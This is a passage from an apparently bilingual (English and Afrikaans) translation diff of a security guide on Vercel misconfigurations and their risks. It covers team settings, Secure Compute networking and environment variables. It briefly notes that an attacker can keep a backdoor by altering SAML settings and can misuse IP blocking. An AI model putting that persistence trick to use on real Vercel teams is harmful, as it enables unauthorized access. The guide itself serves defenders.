- **Misconfiguration:** Nie kritieke Git scopes aan die beskermde lys toe te voeg nie.
|
||||
- **Risks:**
|
||||
- **Unauthorized Deployments:** Ander spanne mag repositories van jou organisasie se Git scopes sonder toestemming ontplooi.
|
||||
- **Intellectual Property Exposure:** Beskermde kode kan ontplooi en buite jou span toeganklik wees.
|
||||
- **Environment Variable Policies:** Handhaaf beleide vir die skepping en redigering van die span se omgewing veranderlikes. Spesifiek, jy kan afdwing dat alle omgewing veranderlikes geskep word as **Sensitive Environment Variables**, wat slegs deur Vercel se ontplooiingstelsel gedekodeer kan word.
|
||||
- **Misconfiguration:** Hou die afdwinging van sensitiewe omgewing veranderlikes gedeaktiveer.
|
||||
- **Risks:**
|
||||
- **Exposure of Secrets:** Omgewing veranderlikes mag deur ongeoorloofde spanlede gesien of gewysig word.
|
||||
- **Data Breach:** Sensitiewe inligting soos API sleutels en akrediteer kan gelekt word.
|
||||
- **Audit Log:** Verskaf 'n uitvoer van die span se aktiwiteit vir tot die laaste 90 dae. Ouudit logs help om aksies wat deur spanlede uitgevoer is, te monitor en op te spoor.
|
||||
- **Misconfiguration:**\
|
||||
Gee toegang tot oudit logs aan ongeoorloofde spanlede.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Blootstelling van sensitiewe gebruikersaktiwiteite en data.
|
||||
- **Tampering with Logs:** Kwaadwillige akteurs kan logs verander of verwyder om hul spore te bedek.
|
||||
- **SAML Single Sign-On:** Laat aanpassing van SAML autentisering en gids sinkronisering vir jou span toe, wat integrasie met 'n Identiteitsverskaffer (IdP) vir gesentraliseerde autentisering en gebruikersbestuur moontlik maak.
|
||||
- **Misconfiguration:** 'n Aanvaller kan 'n agterdeur in die Span instel deur SAML parameters soos Entity ID, SSO URL, of sertifikaat vingerafdrukke op te stel.
|
||||
- **Risk:** Handhaaf volharding.
|
||||
- **IP Address Visibility:** Beheer of IP adresse, wat as persoonlike inligting onder sekere dataprotectie wette beskou kan word, in Monitering navrae en Log Drains vertoon word.
|
||||
- **Misconfiguration:** Laat IP adres sigbaarheid geaktiveer sonder noodsaaklikheid.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Nie-nakoming van dataprotectie regulasies soos GDPR.
|
||||
- **Legal Repercussions:** Potensiële boetes en sanksies vir verkeerde hantering van persoonlike data.
|
||||
- **IP Blocking:** Laat die konfigurasie van IP adresse en CIDR reekse toe wat Vercel moet blokkeer. Geblokkeerde versoeke dra nie by tot jou fakturering nie.
|
||||
- **Misconfiguration:** Kan deur 'n aanvaller misbruik word om kwaadwillige verkeer toe te laat of legitieme verkeer te blokkeer.
|
||||
- **Risks:**
|
||||
- **Service Denial to Legitimate Users:** Blokkeer toegang vir geldige gebruikers of vennote.
|
||||
- **Operational Disruptions:** Verlies van diens beskikbaarheid vir sekere streke of kliënte.
|
||||
|
||||
---
|
||||
|
||||
### Secure Compute
|
||||
|
||||
**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
|
||||
**Vercel Secure Compute** stel veilige, private verbindings tussen Vercel Funksies en agtergrond omgewings (bv. databasisse) in deur geïsoleerde netwerke met toegewyde IP adresse te vestig. Dit elimineer die behoefte om agtergrond dienste publiek bloot te stel, wat sekuriteit, nakoming, en privaatheid verbeter.
|
||||
|
||||
#### **Potential Misconfigurations and Risks**
|
||||
|
||||
1. **Incorrect AWS Region Selection**
|
||||
- **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
|
||||
- **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
|
||||
- **Misconfiguration:** Kies 'n AWS streek vir die Secure Compute netwerk wat nie ooreenstem met die agtergrond dienste se streek nie.
|
||||
- **Risk:** Verhoogde latensie, potensiële data verblyf nakoming probleme, en verswakte prestasie.
|
||||
2. **Overlapping CIDR Blocks**
|
||||
- **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
|
||||
- **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
|
||||
- **Misconfiguration:** Kies CIDR blokke wat oorvleuel met bestaande VPCs of ander netwerke.
|
||||
- **Risk:** Netwerk konflikte wat lei tot mislukte verbindings, ongeoorloofde toegang, of datalekke tussen netwerke.
|
||||
3. **Improper VPC Peering Configuration**
|
||||
- **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
|
||||
- **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
|
||||
- **Misconfiguration:** Onakkurate opstelling van VPC peering (bv. verkeerde VPC ID's, onvolledige roete tabel opdaterings).
|
||||
- **Risk:** Ongeoorloofde toegang tot agtergrond infrastruktuur, mislukte veilige verbindings, en potensiële datalekke.
|
||||
4. **Excessive Project Assignments**
|
||||
- **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
|
||||
- **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
|
||||
- **Misconfiguration:** Toeken van meerdere projekte aan 'n enkele Secure Compute netwerk sonder behoorlike isolasie.
|
||||
- **Risk:** Gedeelde IP blootstelling verhoog die aanval oppervlak, wat moontlik gekompromitteerde projekte toelaat om ander te beïnvloed.
|
||||
5. **Inadequate IP Address Management**
|
||||
- **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
|
||||
- **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
|
||||
- **Misconfiguration:** Versuim om toegewyde IP adresse behoorlik te bestuur of te roteer.
|
||||
- **Risk:** IP spoofing, opsporing kwesbaarhede, en potensiële swartlys as IP's geassosieer word met kwaadwillige aktiwiteite.
|
||||
6. **Including Build Containers Unnecessarily**
|
||||
- **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
|
||||
- **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
|
||||
- **Misconfiguration:** Voeg bouhouers by die Secure Compute netwerk wanneer agtergrond toegang nie tydens boue benodig word nie.
|
||||
- **Risk:** Verhoogde aanval oppervlak, verhoogde voorsieningsvertraagings, en onnodige verbruik van netwerk hulpbronne.
|
||||
7. **Failure to Securely Handle Bypass Secrets**
|
||||
- **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
|
||||
- **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
|
||||
- **Misconfiguration:** Blootstelling of verkeerde hantering van geheime wat gebruik word om ontplooiing beskermings te omseil.
|
||||
- **Risk:** Ongeoorloofde toegang tot beskermde ontplooiings, wat aanvallers toelaat om kwaadwillige kode te manipuleer of te ontplooi.
|
||||
8. **Ignoring Region Failover Configurations**
|
||||
- **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
|
||||
- **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
|
||||
- **Misconfiguration:** Nie passiewe failover streke op te stel of failover instellings verkeerd te konfigureer nie.
|
||||
- **Risk:** Diens stilstand tydens primêre streek uitvalle, wat lei tot verminderde beskikbaarheid en potensiële datainkonsekwentheid.
|
||||
9. **Exceeding VPC Peering Connection Limits**
|
||||
- **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
|
||||
- **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
|
||||
- **Misconfiguration:** Poging om meer VPC peering verbindings te vestig as die toegelate limiet (bv. meer as 50 verbindings).
|
||||
- **Risk:** Onvermoë om nodige agtergrond dienste veilig te verbind, wat ontplooiing mislukkings en operasionele onderbrekings veroorsaak.
|
||||
10. **Insecure Network Settings**
|
||||
- **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
|
||||
- **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
|
||||
- **Misconfiguration:** Swak firewall reëls, gebrek aan versleuteling, of onvanpaste netwerk segmentasie binne die Secure Compute netwerk.
|
||||
- **Risk:** Data afluistering, ongeoorloofde toegang tot agtergrond dienste, en verhoogde kwesbaarheid vir aanvalle.
|
||||
|
||||
---
|
||||
|
||||
### Environment Variables
|
||||
|
||||
**Purpose:** Manage environment-specific variables and secrets used by all the projects.
|
||||
**Purpose:** Bestuur omgewing-spesifieke veranderlikes en geheime wat deur al die projekte gebruik word.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Exposing Sensitive Variables**
|
||||
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
|
||||
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
|
||||
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
|
||||
- **Risk:** Blootstelling van API sleutels, databasis akrediteer, of ander sensitiewe data aan die publiek, wat tot datalekke lei.
|
||||
- **Sensitive disabled**
|
||||
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
- **Misconfiguration:** As gedeaktiveer (standaard) is dit moontlik om die waardes van die gegenereerde geheime te lees.
|
||||
- **Risk:** Verhoogde waarskynlikheid van toevallige blootstelling of ongeoorloofde toegang tot sensitiewe inligting.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user